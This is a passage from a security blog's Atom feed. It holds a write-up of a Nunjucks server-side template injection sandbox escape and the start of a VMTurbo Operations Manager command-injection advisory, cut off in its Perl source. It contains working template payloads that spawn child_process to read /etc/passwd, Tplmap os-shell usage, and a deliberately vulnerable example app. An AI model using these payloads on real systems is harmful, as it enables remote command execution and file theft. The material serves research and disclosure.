<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><generator uri="http://jekyllrb.com" version="3.2.1">Jekyll</generator><link href="http://disse.cting.org//feed.xml" rel="self" type="application/atom+xml" /><link href="http://disse.cting.org//" rel="alternate" type="text/html" /><updated>2016-10-18T11:59:10+00:00</updated><id>http://disse.cting.org//</id><title>Dissecting</title><subtitle>rough networking, insecurities and dirty sources</subtitle><entry><title>Sandbox Breakout - A View of the Nunjucks Template Engine</title><link href="http://disse.cting.org//2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine" rel="alternate" type="text/html" title="Sandbox Breakout - A View of the Nunjucks Template Engine" /><published>2016-08-02T12:58:30+00:00</published><updated>2016-08-02T12:58:30+00:00</updated><id>http://disse.cting.org//2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine</id><content type="html" xml:base="http://disse.cting.org//2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine">&lt;h2 id=&quot;introduction&quot;&gt;Introduction&lt;/h2&gt;

&lt;p&gt;This write-up describes a sandbox escape technique on Nunjucks template engine implemented by &lt;a href=&quot;https://github.com/epinna/tplmap&quot;&gt;Tplmap&lt;/a&gt;, a tool to exploit Server-Side Template Injection vulnerabilities (SSTI) and achieve remote command execution on the operating system. Thanks to &lt;a href=&quot;https://github.com/cyrus-and&quot;&gt;Andrea&lt;/a&gt; who has worked with me on this analysis.&lt;/p&gt;

&lt;h2 id=&quot;nunjucks&quot;&gt;Nunjucks&lt;/h2&gt;

&lt;p&gt;&lt;a href=&quot;https://mozilla.github.io/nunjucks/&quot;&gt;Nunjucks&lt;/a&gt; is a template engine for by Jinja2 used to develop web applications on Node.js web frameworks as &lt;a href=&quot;http://expressjs.com/&quot;&gt;Express&lt;/a&gt; or &lt;a href=&quot;https://github.com/senchalabs/connect#readme&quot;&gt;Connect&lt;/a&gt;. The snippet from a Connect application serves a web page (&lt;code class=&quot;highlighter-rouge&quot;&gt;http://localhost:15004/page?name=John&lt;/code&gt;) which suffers from Server-Side Template Injection vulnerability.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;app&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;use&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'/page'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url_parts&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;parse&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;req&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;url_parts&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;query&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// Include user-input in the template&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'Hello '&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'!'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; 
    
    &lt;span class=&quot;nx&quot;&gt;rendered&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;nunjucks&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;renderString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
      &lt;span class=&quot;nx&quot;&gt;str&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;template&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;nx&quot;&gt;res&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;end&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;rendered&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The user controllable &lt;code class=&quot;highlighter-rouge&quot;&gt;name&lt;/code&gt; GET parameter is concatenated to the template string instead of being passed as &lt;code class=&quot;highlighter-rouge&quot;&gt;context&lt;/code&gt; argument, introducing the SSTI vulnerability. The vulnerable parameter can be detected injecting a basic operation which is evaluated at rendering time.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$ &lt;/span&gt;curl -g &lt;span class=&quot;s1&quot;&gt;'http://localhost:15004/page?name={{7*7}}'&lt;/span&gt;
Hello 49!
&lt;span class=&quot;err&quot;&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The vulnerability does not affect Nunjucks itself, but is introduced when the user’s input is directly concatenated to a template.&lt;/p&gt;

&lt;h2 id=&quot;sandbox-escape&quot;&gt;Sandbox escape&lt;/h2&gt;

&lt;p&gt;As many other template engines, Nunjucks template code runs in a sandboxed environment. Any global object is stripped out from the environment, to limit the surface which could be used to break out of the sandbox and execute arbitrary JavaScript. You can use Tplmap &lt;code class=&quot;highlighter-rouge&quot;&gt;--tpl-shell&lt;/code&gt; option to inspect the sandbox surface.&lt;/p&gt;

&lt;p&gt;Calling the global object &lt;code class=&quot;highlighter-rouge&quot;&gt;console&lt;/code&gt; from within the template raises an undefined exception.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)}}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// Template render error: (unknown path)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//  Error: Unable to call `console[&quot;log&quot;]`, which is undefined or falsey&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Luckily for the attacker the documentation describes three utility functions &lt;a href=&quot;https://mozilla.github.io/nunjucks/templating.html#global-functions&quot;&gt;range, cycler, and joiner&lt;/a&gt; which are the only callables from within the template.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;highlighter-rouge&quot;&gt;constructor&lt;/code&gt; property of any function is the &lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function&quot;&gt;Function constructor&lt;/a&gt; which allows to create a new function starting from the body string.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;console.log(123)&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()}}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;// 123&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The code above is correctly evaluated. The operating system access instead is not straightforward since &lt;code class=&quot;highlighter-rouge&quot;&gt;require()&lt;/code&gt; cannot be used to import standard modules without triggering an exception.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;return require('fs')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()}}&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;//Template render error: (unknown path)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//  ReferenceError: require is not defined&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;The missing &lt;code class=&quot;highlighter-rouge&quot;&gt;require&lt;/code&gt;constraint can be bypassed using &lt;code class=&quot;highlighter-rouge&quot;&gt;global.process.mainModule.require&lt;/code&gt;. In the snippet below, the module &lt;code class=&quot;highlighter-rouge&quot;&gt;fs&lt;/code&gt; is imported and printed.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;return global.process.mainModule.require('fs')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()}}&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Object&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;Finally, the exploit to access the underlying operating system can be finalised executing &lt;code class=&quot;highlighter-rouge&quot;&gt;tail /etc/passwd&lt;/code&gt; via the &lt;code class=&quot;highlighter-rouge&quot;&gt;child_process.execSync()&lt;/code&gt; method.&lt;/p&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;p&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;range&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)()}}&lt;/span&gt;

&lt;span class=&quot;nl&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;root&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bash&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;daemon&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;daemon&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;usr&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sbin&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sh&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nl&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bin&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;/&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sh&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;h2 id=&quot;tplmap-integration&quot;&gt;Tplmap integration&lt;/h2&gt;

&lt;p&gt;The sandbox escape technique has been integrated in Tplmap Nunjucks plugin to compromise the target in a fully automated way.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;gp&quot;&gt;$ &lt;/span&gt;./tplmap.py -u http://localhost:15004/page?name&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; --engine Nunjucks --os-shell
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Tplmap 0.1
    Automatic Server-Side Template Injection Detection and Exploitation Tool

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Found placeholder &lt;span class=&quot;k&quot;&gt;in &lt;/span&gt;GET parameter &lt;span class=&quot;s1&quot;&gt;'name'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Nunjucks plugin is testing rendering with tag &lt;span class=&quot;s1&quot;&gt;'{{*}}'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Nunjucks plugin has confirmed injection with tag &lt;span class=&quot;s1&quot;&gt;'{{*}}'&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Tplmap identified the following injection point:

  Engine: Nunjucks
  Injection: &lt;span class=&quot;o&quot;&gt;{{&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;}}&lt;/span&gt;
  Context: text
  OS: linux
  Technique: render
  Capabilities:

   Code evaluation: yes, javascript code
   Shell &lt;span class=&quot;nb&quot;&gt;command &lt;/span&gt;execution: yes
   File write: yes
   File &lt;span class=&quot;nb&quot;&gt;read&lt;/span&gt;: yes
   Bind and reverse shell: yes

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;+] Run commands on the operating system

linux &lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;tail /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;

&lt;p&gt;&lt;a href=&quot;https://github.com/epinna/tplmap&quot;&gt;Tplmap&lt;/a&gt; support of new template engines can be easily extended writing plugins. All contributions are greatly appreciated, both code or ideas of sandbox escapes of new template engines. Submit your sandbox break-out idea or code via Github issues and pull request.&lt;/p&gt;</content><category term="CVE-2014-5073" /><category term="advisory" /><category term="vmturbo" /><category term="pentesting" /><category term="security" /><category term="vulnerability" /><category term="rce" /><category term="cgi" /><category term="command execution" /><summary>Introduction</summary></entry><entry><title>VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution</title><link href="http://disse.cting.org//2014/07/30/2014-07-30-vmturbo-operation-manager-remote-command-execution" rel="alternate" type="text/html" title="VMTurbo Operations Manager vmtadmin.cgi Remote Command Execution" /><published>2014-07-30T23:58:30+00:00</published><updated>2014-07-30T23:58:30+00:00</updated><id>http://disse.cting.org//2014/07/30/2014-07-30-vmturbo-operation-manager-remote-command-execution</id><content type="html" xml:base="http://disse.cting.org//2014/07/30/2014-07-30-vmturbo-operation-manager-remote-command-execution">&lt;p&gt;&lt;a href=&quot;http://vmturbo.com/product/operations-management-software/&quot;&gt;VMTurbo Operations Manager&lt;/a&gt; is an appliance for the virtual machine management and can be exploite to compromise a vulnerable system due to an unauthenticated remote command execution vulnerability.&lt;/p&gt;

&lt;p&gt;Certain CGI scripts exposed by the Operation Manager web interface do not properly sanitized before being used to execute system command. This vulnerability can be exploited to inject and execute arbitrary shell commands with privileges of the “wwwrun” user.&lt;/p&gt;

&lt;p&gt;The vulnerability affects VMTurbo Operations Manager versions prior to 4.6-28657.&lt;/p&gt;

&lt;h2 id=&quot;vulnerability&quot;&gt;Vulnerability&lt;/h2&gt;

&lt;p&gt;The affected CGI &lt;code class=&quot;highlighter-rouge&quot;&gt;cgi-bin/vmtadmin.cgi&lt;/code&gt; is a Perl script used to execute certain administrative tasks, depending on the parameters &lt;code class=&quot;highlighter-rouge&quot;&gt;callType&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;actionType&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-perl highlighter-rouge&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;
&lt;span class=&quot;k&quot;&gt;my&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$actiontype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;actionType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;my&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$calltype&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;callType&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;my&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filedate&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$query&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;param&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;fileDate&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;k&quot;&gt;my&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$statusfile&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;defined&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filedate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$filedate&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$mon&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$mday&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$year&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$hour&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$min&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$actiontype&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;.vmturbo.txt&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$calltype&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;READ&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;elsif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$calltype&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;ACTION&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$actiontype&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;EXPORTBACKUP&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;authenticate&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;c1&quot;&gt;# ...&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nv&quot;&gt;elseif&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;$calltype&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;DOWN&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;$actiontype&lt;/span&gt; &lt;span class=&quot;ow&quot;&gt;eq&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;CFGBACKUP&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# Cfg download&lt;/span&gt;
                &lt;span class=&quot;c1&quot;&gt;# TODO: Check if missing (should not be possible, as we just created it)&lt;/span&gt;
                &lt;span class=&quot;nb&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nv&quot;&gt;DLFILE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;/tmp/vmtbackup.zip&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                &lt;span class=&quot;nv&quot;&gt;@fileholder&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;sr&quot;&gt;&amp;lt;DLFILE&amp;gt;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
